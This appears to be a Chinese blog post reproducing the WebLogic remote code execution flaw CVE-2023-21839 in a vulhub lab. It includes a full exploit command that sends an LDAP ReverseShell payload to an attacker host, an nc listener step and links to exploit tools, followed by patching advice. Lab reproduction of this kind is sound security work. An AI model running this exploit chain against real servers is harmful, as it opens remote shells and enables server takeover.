1. Toy模板网首页
  2. > Toy博客

Weblogic远程代码执行漏洞 CVE-2023-21839

9月前 作者：昀光Icrus 分类：Toy博客 阅读(58) 违法举报

这篇具有很好参考价值的文章主要介绍了Weblogic远程代码执行漏洞 CVE-2023-21839。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

漏洞简介

        WebLogic Core远程代码执行漏洞（CVE-2023-21839），该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议进行 JNDI lookup 操作，破坏易受攻击的WebLogic服务器，成功利用此漏洞可能导致Oracle WebLogic服务器被接管（RCE）或敏感信息泄露。

复现环境

        靶机：kali vullhub docker启动：192.168.42.147

        攻击机：kali 192.168.42.145

复现过程

  • 在靶机上启动vulhub的靶场环境，进入如下目录启动

         Weblogic远程代码执行漏洞 CVE-2023-21839

         启动成功

        Weblogic远程代码执行漏洞 CVE-2023-21839

  • 使用工具JNDIExploit-4-SNAPSHOT.jar在kali上设置监听

  1.        工具地址及其使用说明：https://github.com/WhiteHSBG/JNDIExploit

           这个工具是同时启动了http和ldap服务

    1.        Weblogic远程代码执行漏洞 CVE-2023-21839

  • 打开kali使用nc工具进行端口的监听，用于接收反弹的shell

  1.        Weblogic远程代码执行漏洞 CVE-2023-21839

  • 使用CVE-2023-21839工具来进行攻击测试

 工具地址：https://github.com/DXask88MA/Weblogic-CVE-2023-21839

 使用命令：

java -jar Weblogic-CVE-2023-21839.jar 192.168.42.147:7001 ldap://192.168.42.145:1389/Basic/ReverseShell/192.168.42.145/7777

Weblogic远程代码执行漏洞 CVE-2023-21839

  • 此时监听的攻击机已经收到了反弹的shell

    Weblogic远程代码执行漏洞 CVE-2023-21839

 至此攻击已经成功

  • 最后关闭靶机

  Weblogic远程代码执行漏洞 CVE-2023-21839

 处置修复

参考修复链接：https://www.oracle.com/security-alerts/cpujan2023.html

  1. 升级版本
  2. 安装补丁
  3. 若非必须开启，请禁用T3和IIOP协议。

相关修复链接见https://mp.weixin.qq.com/s/MgO_KJQiEXK_GpVACI2pJg

 文章来源地址https://www.toymoban.com/news/detail-412543.html

到了这里，关于Weblogic远程代码执行漏洞 CVE-2023-21839的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处： 如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：
领支付宝红包 赞助服务器费用

相关文章

  • 漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

    在 addcrypted2() 函数中，对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。 利用 JS 中 pyimport 导入 OS 包，执行系统命令（文件操作，进程管理），还可以利用 os.system() 执行 shell 命令。 构建 payload 过程比较简单，只要传入所需的 package, crypted, jk, passwords 四个参数即可，这里

    2024年02月08日
    浏览(38)

  • Apache RocketMQ 远程代码执行漏洞（CVE-2023-33246）

    RocketMQ 5.1.0及以下版本，在一定条件下，存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露，缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外，攻击者可以通过伪造 RocketMQ 协议内容来达到同样的

    2024年02月14日
    浏览(41)

  • Apache RocketMQ 远程代码执行漏洞（CVE-2023-37582）

    ​ Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中，由于对 CVE-2023-33246 修复不完善，导致在Apache RocketMQ NameServer 存在未授权访问的情况下，攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。 影响版本 Apache RocketMQ = 5.1.1 

    2024年02月15日
    浏览(44)
  • 【Microsoft Message Queuing远程代码执行漏洞（CVE-2023-21554）漏洞修复】

    【Microsoft Message Queuing远程代码执行漏洞（CVE-2023-21554）漏洞修复】

    Windows 消息队列服务是一个Windows组件，需要系统启用该组件才能利用此漏洞，该组件可以通过控制面板添加。Microsoft Message Queuing中存在远程代码执行漏洞，未经身份验证的远程攻击者通过向MSMQ服务器发送特制的恶意MSMQ数据包触发此漏洞，最终实现在服务器端远程代码执行，

    2024年02月15日
    浏览(44)
  • 【Citrix篇】1-Citrix ADC/Gateway 远程代码执行漏洞CVE-2023-3519和升级方法

    【Citrix篇】1-Citrix ADC/Gateway 远程代码执行漏洞CVE-2023-3519和升级方法

    目录 一、前言 二、实验效果 三、影响的版本（CVE-2023-3519） 四、升级前准备 五、命令行升级步骤 六、GUi界面升级步骤 七、公司介绍 近期我们收到Citrix发布关于NetScaler ADC 、NetScaler Gateway的风险通告，漏洞编号为CVE-2023-3519， 漏洞等级：严重，漏洞评分：9.8 漏洞影响 ：Hack可

    2024年02月08日
    浏览(43)
  • Windows Server 2012 R2服务器Microsoft 消息队列远程代码执行漏洞CVE-2023-21554补丁KB5025288的安装及问题解决

    Windows Server 2012 R2服务器Microsoft 消息队列远程代码执行漏洞CVE-2023-21554补丁KB5025288的安装及问题解决

    近日，系统安全扫描中发现Windows Server 2012 R2服务器存在Microsoft 消息队列远程代码执行漏洞。本文记录补丁安装中遇到的“此更新不适用于你的计算机”问题及解决办法。 一、问题描述： 1、系统安全扫描中发现Windows Server 2012 R2服务器存在Microsoft 消息队列远程代码执行漏洞，

    2024年02月10日
    浏览(51)
  • Office远程代码执行漏洞（CVE-2017-11882）漏洞复现

    Office远程代码执行漏洞（CVE-2017-11882）漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码，导致无法正确处理内存中的对象，即为“ Microsoft Office Memory Corruption Vulnerability “，栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用，危害极大。

    2024年02月12日
    浏览(44)
  • 漏洞复现-Drupal远程代码执行漏洞（CVE-2018-7602）

    漏洞复现-Drupal远程代码执行漏洞（CVE-2018-7602）

    Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介，从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。 -c 后面接命令，紧随账号

    2024年02月16日
    浏览(50)
  • CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    1、相关简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞，便可以在目标系统上执行任意代码，包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远

    2024年02月10日
    浏览(49)

  • PhpMyAdmin远程执行代码漏洞复现 （CVE-2016-5734）

    0x01 漏洞介绍 phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库，创建、删除、修改数据库表，执行SQL脚本命令等。 phpMyAdmin 中存在安全漏洞，该漏洞源于程序没有正确选择分隔符来避免使用 preg_replace e 修饰符。 可借助特

    2024年02月11日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包，优惠每天领

二维码1

领取红包

二维码2

领红包